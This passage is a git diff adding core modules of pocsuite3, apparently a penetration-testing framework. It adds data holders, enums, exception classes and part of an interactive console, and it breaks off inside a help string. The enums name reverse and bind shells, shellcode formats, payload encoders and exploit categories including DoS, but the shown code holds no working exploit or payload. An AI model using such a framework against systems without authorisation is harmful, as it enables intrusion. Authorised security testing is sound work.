b/pocsuite3/lib/core/data.py @@ -0,0 +1,24 @@ +from pocsuite3.lib.core.datatype import AttribDict +from pocsuite3.lib.core.log import LOGGER + +# logger +logger = LOGGER + +# object to share within function and classes command +# line options and settings +conf = AttribDict() + +# Dictionary storing +# (1)targets, (2)registeredPocs, (3) bruteMode +# (4)results, (5)pocFiles +# (6)multiThreadMode \ threadContinue \ threadException +kb = AttribDict() + +# object to store original command line options +cmd_line_options = AttribDict() + +# object to store merged options (command line, configuration file and default options) +merged_options = AttribDict() + +# pocsuite paths +paths = AttribDict() diff --git a/pocsuite3/lib/core/datatype.py b/pocsuite3/lib/core/datatype.py new file mode 100644 index 00000000..4bde0cdd --- /dev/null +++ b/pocsuite3/lib/core/datatype.py @@ -0,0 +1,34 @@ +from collections import OrderedDict + + +class AttribDict(OrderedDict): + """ + AttrDict extends OrderedDict to provide attribute-style access. + Items starting with __ or _OrderedDict__ can't be accessed as attributes. + """ + __exclude_keys__ = set() + + def __getattr__(self, name): + if (name.startswith('__') + or name.startswith('_OrderedDict__') + or name in self.__exclude_keys__): + return super(AttribDict, self).__getattribute__(name) + else: + try: + return self[name] + except KeyError: + raise AttributeError(name) + + def __setattr__(self, name, value): + if (name.startswith('__') + or name.startswith('_OrderedDict__') + or name in self.__exclude_keys__): + return super(AttribDict, self).__setattr__(name, value) + self[name] = value + + def __delattr__(self, name): + if (name.startswith('__') + or name.startswith('_OrderedDict__') + or name in self.__exclude_keys__): + return super(AttribDict, self).__delattr__(name) + del self[name] diff --git a/pocsuite3/lib/core/decorators.py b/pocsuite3/lib/core/decorators.py new file mode 100644 index 00000000..f7631ab0 --- /dev/null +++ b/pocsuite3/lib/core/decorators.py @@ -0,0 +1,18 @@ +import hashlib + + +def cachedmethod(f, cache={}): + """ + Method with a cached content + Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/ + """ + + def _(*args, **kwargs): + key_string = "|".join(str(_) for _ in (f, args, kwargs)).encode() + key = int(hashlib.md5(key_string).hexdigest(), 16) & 0x7fffffffffffffff + if key not in cache: + cache[key] = f(*args, **kwargs) + + return cache[key] + + return _ diff --git a/pocsuite3/lib/core/enums.py b/pocsuite3/lib/core/enums.py new file mode 100644 index 00000000..574a398d --- /dev/null +++ b/pocsuite3/lib/core/enums.py @@ -0,0 +1,136 @@ +from pocsuite3.lib.core.datatype import AttribDict + + +class LOGGING_LEVELS: + NOTSET = 0 + DEBUG = 10 + INFO = 20 + WARNING = 30 + ERROR = 40 + CRITICAL = 50 + + +class CUSTOM_LOGGING: + SYSINFO = 21 + SUCCESS = 22 + ERROR = 23 + WARNING = 24 + + +class OUTPUT_STATUS: + SUCCESS = 1 + FAILED = 0 + + +class HTTP_HEADER: + ACCEPT = "Accept" + ACCEPT_CHARSET = "Accept-Charset" + ACCEPT_ENCODING = "Accept-Encoding" + ACCEPT_LANGUAGE = "Accept-Language" + AUTHORIZATION = "Authorization" + CACHE_CONTROL = "Cache-Control" + CONNECTION = "Connection" + CONTENT_ENCODING = "Content-Encoding" + CONTENT_LENGTH = "Content-Length" + CONTENT_RANGE = "Content-Range" + CONTENT_TYPE = "Content-Type" + COOKIE = "Cookie" + EXPIRES = "Expires" + HOST = "Host" + IF_MODIFIED_SINCE = "If-Modified-Since" + LAST_MODIFIED = "Last-Modified" + LOCATION = "Location" + PRAGMA = "Pragma" + PROXY_AUTHORIZATION = "Proxy-Authorization" + PROXY_CONNECTION = "Proxy-Connection" + RANGE = "Range" + REFERER = "Referer" + REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794 + SERVER = "Server" + SET_COOKIE = "Set-Cookie" + TRANSFER_ENCODING = "Transfer-Encoding" + URI = "URI" + USER_AGENT = "User-Agent" + VIA = "Via" + X_POWERED_BY = "X-Powered-By" + X_DATA_ORIGIN = "X-Data-Origin" + + +class PROXY_TYPE: + HTTP = "HTTP" + HTTPS = "HTTPS" + SOCKS4 = "SOCKS4" + SOCKS5 = "SOCKS5" + + +class ERROR_TYPE_ID: + NOTIMPLEMENTEDERROR = 2 + CONNECTIONERROR = 3.0 + HTTPERROR = 3.1 + CONNECTTIMEOUT = 3.2 + TOOMANYREDIRECTS = 3.3 + OTHER = 4 + + +class OS: + LINUX = "Linux" + WINDOWS = "Windows" + + +class OS_ARCH: + X86 = "32bit" + X64 = "64bit" + + +class ENCODER_TPYE: + XOR = "xor" + ALPHANUMERIC = "alphanum" + ROT_13 = "rot_13" + FNSTENV_XOR = "fnstenv" + JUMPCALL_XOR = "jumpcall" + + +class SHELLCODE_TYPE: + JSP = "jsp" + JAR = "jar" + WAR = "war" + PYTHON = "python" + PHP = "php" + ASPX = "aspx" + + +class SHELLCODE_CONNECTION: + BIND = 'bind' + REVERSE = 'reverse' + + +class PLUGIN_TYPE: + TARGETS = 'targets' + POCS = 'pocs' + RESULTS = 'results' + + +class AUTOCOMPLETE_TYPE: + SQL = 0 + OS = 1 + POCSUITE = 2 + API = 3 + CONSOLE = 4 + + +class POC_CATEGORY: + EXPLOITS = AttribDict() + EXPLOITS.WEBAPP = 'WebApp' + EXPLOITS.DOS = 'DoS' + EXPLOITS.REMOTE = 'Remote' + EXPLOITS.LOCAL = 'Local' + + TOOLS = AttribDict() + TOOLS.CRACK = 'Crack' + + PROTOCOL = AttribDict() + PROTOCOL.HTTP = "Http" + PROTOCOL.FTP = "Ftp" + PROTOCOL.SSH = "Ssh" + PROTOCOL.TALENT = "Telent" + PROTOCOL.REDIS = "Redis" diff --git a/pocsuite3/lib/core/exception.py b/pocsuite3/lib/core/exception.py new file mode 100644 index 00000000..61ed2046 --- /dev/null +++ b/pocsuite3/lib/core/exception.py @@ -0,0 +1,52 @@ + + +class PocsuiteBaseException(Exception): + pass + + +class PocsuiteUserQuitException(PocsuiteBaseException): + pass + + +class PocsuiteShellQuitException(PocsuiteBaseException): + pass + + +class PocsuiteDataException(PocsuiteBaseException): + pass + + +class PocsuiteGenericException(PocsuiteBaseException): + pass + + +class PocsuiteSystemException(PocsuiteBaseException): + pass + + +class PocsuiteFilePathException(PocsuiteBaseException): + pass + + +class PocsuiteConnectionException(PocsuiteBaseException): + pass + + +class PocsuiteThreadException(PocsuiteBaseException): + pass + + +class PocsuiteValueException(PocsuiteBaseException): + pass + + +class PocsuiteMissingPrivileges(PocsuiteBaseException): + pass + + +class PocsuiteSyntaxException(PocsuiteBaseException): + pass + + +class PocsuiteValidationException(PocsuiteBaseException): + pass \ No newline at end of file diff --git a/pocsuite3/lib/core/interpreter.py b/pocsuite3/lib/core/interpreter.py new file mode 100644 index 00000000..401efa33 --- /dev/null +++ b/pocsuite3/lib/core/interpreter.py @@ -0,0 +1,526 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# @Time : 2018/12/25 上午10:58 +# @Author : chenghs@knowsec.com +# @File : interpreter.py +import os +from pocsuite3.lib.controller.controller import start +from pocsuite3.lib.core.common import banner, index_modules, data_to_stdout, humanize_path, module_required, \ + get_poc_name, stop_after, get_local_ip, is_ipv6_address_format +from pocsuite3.lib.core.data import logger, paths, kb, conf +from pocsuite3.lib.core.enums import POC_CATEGORY, AUTOCOMPLETE_TYPE +from pocsuite3.lib.core.exception import PocsuiteBaseException, PocsuiteShellQuitException +from pocsuite3.lib.core.option import _set_listener, _set_http_referer, _set_http_user_agent, _set_network_proxy, \ + _set_network_timeout +from pocsuite3.lib.core.register import load_file_to_module +from pocsuite3.lib.core.settings import IS_WIN +from pocsuite3.lib.core.shell import auto_completion, readline +from pocsuite3.thirdparty.prettytable import prettytable +from pocsuite3.thirdparty.termcolor.termcolor import colored + + +class BaseInterpreter(object): + global_help = "" + + def __init__(self): + self.setup() + self.banner = "" + self.complete = None + + def setup(self): + """ Initialization of third-party libraries + + Setting interpreter history. + Setting appropriate completer function. + + :return: + """ + auto_completion(completion=AUTOCOMPLETE_TYPE.CONSOLE, console=self.complete) + + def parse_line(self, line): + """ Split line into command and argument. + + :param line: line to parse + :return: (command, argument) + """ + command, _, arg = line.strip().partition(" ") + return command, arg.strip() + + @property + def prompt(self): + """ Returns prompt string """ + return ">>>" + + def get_command_handler(self, command): + """ Parsing command and returning appropriate handler. + + :param command: command + :return: command_handler + """ + try: + command_handler = getattr(self, "command_{}".format(command)) + except AttributeError: + raise PocsuiteBaseException("Unknown command: '{}'".format(command)) + + return command_handler + + def start(self): + """ Routersploit main entry point. Starting interpreter loop. """ + + while True: + try: + command, args = self.parse_line(input(self.prompt)) + command = command.lower() + if not command: + continue + command_handler = self.get_command_handler(command) + command_handler(args) + except PocsuiteBaseException as err: + logger.error(err) + except EOFError: + logger.info("Pocsuite stopped") + break + except KeyboardInterrupt: + logger.info("User Quit") + break + + def complete(self, text, state): + """Return the next possible completion for 'text'. + + If a command has not been entered, then complete against command list. + Otherwise try to call complete_ to get list of completions. + """ + if state == 0: + original_line = readline.get_line_buffer() + line = original_line.lstrip() + stripped = len(original_line) - len(line) + start_index = readline.get_begidx() - stripped + end_index = readline.get_endidx() - stripped + + if start_index > 0: + cmd, args = self.parse_line(line) + if cmd == "": + complete_function = self.default_completer + else: + try: + complete_function = getattr(self, "complete_" + cmd) + except AttributeError: + complete_function = self.default_completer + else: + complete_function = self.raw_command_completer + + self.completion_matches = complete_function(text, line, start_index, end_index) + + try: + return self.completion_matches[state] + except IndexError: + return None + + def commands(self, *ignored): + """ Returns full list of interpreter commands. + + :param ignored: + :return: full list of interpreter commands + """ + return [command.rsplit("_").pop() for command in dir(self) if command.startswith("command_")] + + def raw_command_completer(self, text, line, start_index, end_index): + """ Complete command w/o any argument """ + return [command for command in self.suggested_commands() if command.startswith(text)] + + def default_completer(self, *ignored): + return [] + + def suggested_commands(self): + """ Entry point for intelligent tab completion. + + Overwrite this method to suggest suitable commands. + + :return: list of suitable commands + """ + return self.commands() + + +class PocsuiteInterpreter(BaseInterpreter): + global_help = """Global commands: + help Print this help menu + use Select a module for usage + search Search for appropriate module + list|show all Show all available pocs + exit Exit Pocsuite3""" + + module_help = """Module commands: + run Run the selected module with the given options + back De-select the current module + set